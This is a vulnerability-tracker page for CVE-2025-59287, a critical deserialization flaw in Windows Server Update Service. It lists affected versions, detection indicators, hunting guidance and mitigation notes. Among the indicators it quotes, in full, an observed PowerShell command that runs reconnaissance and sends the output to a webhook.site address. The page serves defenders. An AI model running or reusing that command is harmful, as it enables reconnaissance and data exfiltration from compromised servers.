CVE-2025-59287

published 2025-10-14

CVE-2025-59287: Deserialization of untrusted data in Windows Server Update Service allows an unauthorized attacker to execute code over a network.

Priority P1 99 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

KEV ITW EXPLOIT Ransomware Initial access

Deserialization of untrusted data in Windows Server Update Service allows an unauthorized attacker to execute code over a network.

Affected

19 ranges

Vendor	Product	Version range	Fixed in
microsoft	windows_server_2012	—	—
microsoft	windows_server_2012	>= 6.2.9200.0 < 6.2.9200.25728	6.2.9200.25728
microsoft	windows_server_2012_r2	>= 6.3.9600.0 < 6.3.9600.22826	6.3.9600.22826
microsoft	windows_server_2016	< 10.0.14393.8524	10.0.14393.8524
microsoft	windows_server_2016	>= 10.0.14393.0 < 10.0.14393.8524	10.0.14393.8524
microsoft	windows_server_2019	< 10.0.17763.7922	10.0.17763.7922
microsoft	windows_server_2019	>= 10.0.17763.0 < 10.0.17763.7922	10.0.17763.7922
microsoft	windows_server_2022	< 10.0.20348.4297	10.0.20348.4297
microsoft	windows_server_2022	>= 10.0.20348.0 < 10.0.20348.4297	10.0.20348.4297
microsoft	windows_server_2022_23h2	< 10.0.25398.1916	10.0.25398.1916
microsoft	windows_server_2025	< 10.0.26100.6905	10.0.26100.6905
microsoft	windows_server_2025	>= 10.0.26100.0 < 10.0.26100.6905	10.0.26100.6905
msrc	windows_server_2012	—	—
msrc	windows_server_2012_r2	—	—
msrc	windows_server_2016	—	—
msrc	windows_server_2019	—	—
msrc	windows_server_2022	—	—
msrc	windows_server_2022_23h2_edition	—	—
msrc	windows_server_2025	—	—

Detection & IOCs extracted from sources · hover to see the quote

port 8530/TCP↗

port 8531/TCP↗

url POST /ReportingWebService/ReportingWebService.asmx↗

url POST /SimpleAuthWebService/SimpleAuth.asmx↗

url POST /ClientWebService/Client.asmx↗

url POST /ApiRemoting30/WebService.asmx↗

path C:\Program Files\Update Services\Logfiles\SoftwareDistribution.log↗

path C:\inetpub\logs\LogFiles\W3SVC*\u_ex*.log↗

command powershell -ec try{$r= (&{echo https://[REDACTED]:8531; net user /domain; ipconfig /all} |out-string)+ $Error }catch{$_.ToString()} ;$w="http://webhook.site/[REDACTED]";try{iwr -UseBasicParsing -Uri $w -Body $r -Method Put}catch{curl.exe -k $w --data-binary $r}↗

process wsusservice.exe → cmd.exe → cmd.exe → powershell.exe↗

process w3wp.exe → cmd.exe → cmd.exe → powershell.exe↗

• → Monitor IIS logs for sequential POST requests to WSUS web service endpoints in the exploitation chain: /SimpleAuthWebService/SimpleAuth.asmx, /ClientWebService/Client.asmx, and /ReportingWebService/ReportingWebService.asmx — especially the final 'send_malicious_event' POST to ReportingWebService. ↗
• → Alert on child process spawning from wsusservice.exe or w3wp.exe (with 'wsuspool' in command line) that produces cmd.exe or powershell.exe descendants — this process chain is the primary exploitation indicator. ↗
• → Hunt for deserialization exceptions in the WSUS SoftwareDistribution.log, specifically stack traces referencing System.Data.DataSet.DeserializeDataSetSchema and System.Runtime.Serialization.ObjectManager.DoFixups. ↗
• → Detect reconnaissance commands (whoami, net user /domain, ipconfig /all) executed as children of wsusservice.exe or w3wp.exe, indicating post-exploitation enumeration. ↗
• → Look for outbound HTTP PUT or curl.exe requests to webhook.site from wsusservice.exe or its child processes, indicating data exfiltration of reconnaissance output. ↗
• → Use the Unit 42 XQL query filtering for process starts where actor or causality actor is wsusservice.exe, or w3wp.exe with 'wsuspool' in command line, excluding known-benign child processes (conhost.exe, csc.exe, cvtres.exe, werfault.exe, etc.). ↗
• → Check IIS logs for POST requests to /ReportingWebService/ReportingWebService.asmx from the Windows-Update-Agent user-agent string on port 8530, which may indicate exploitation traffic blending with legitimate WSUS traffic. ↗

• · CVE-2025-59287 only affects servers where the WSUS Server Role is explicitly enabled; it is not enabled by default, so the attack surface is limited to intentionally configured WSUS servers. ↗
• · Microsoft's initial October Patch Tuesday update did not fully remediate the vulnerability; a separate out-of-band emergency patch released October 23 is required for complete mitigation. ↗
• · Exploitation is primarily enabled by WSUS ports 8530/8531 being exposed to the internet — a misconfiguration, since WSUS is an internal-facing service. Blocking inbound traffic to these ports is an effective interim mitigation. ↗
• · Because WSUS is a trusted Windows service that manages privileged file operations, post-exploitation code runs with SYSTEM privileges and may bypass EDR solutions that exclude or trust the WSUS service. ↗
• · At least two distinct exploit implementations exist in the wild — the public HawkTrace PoC and a separate exploit observed by Eye Security — meaning signature-based detection of a single PoC is insufficient. ↗

CVSS provenance

nvd v3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vulncheck 9.8 CRITICAL

cisa 9.8 CRITICAL

vendor_msrc 9.8 CRITICAL

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-502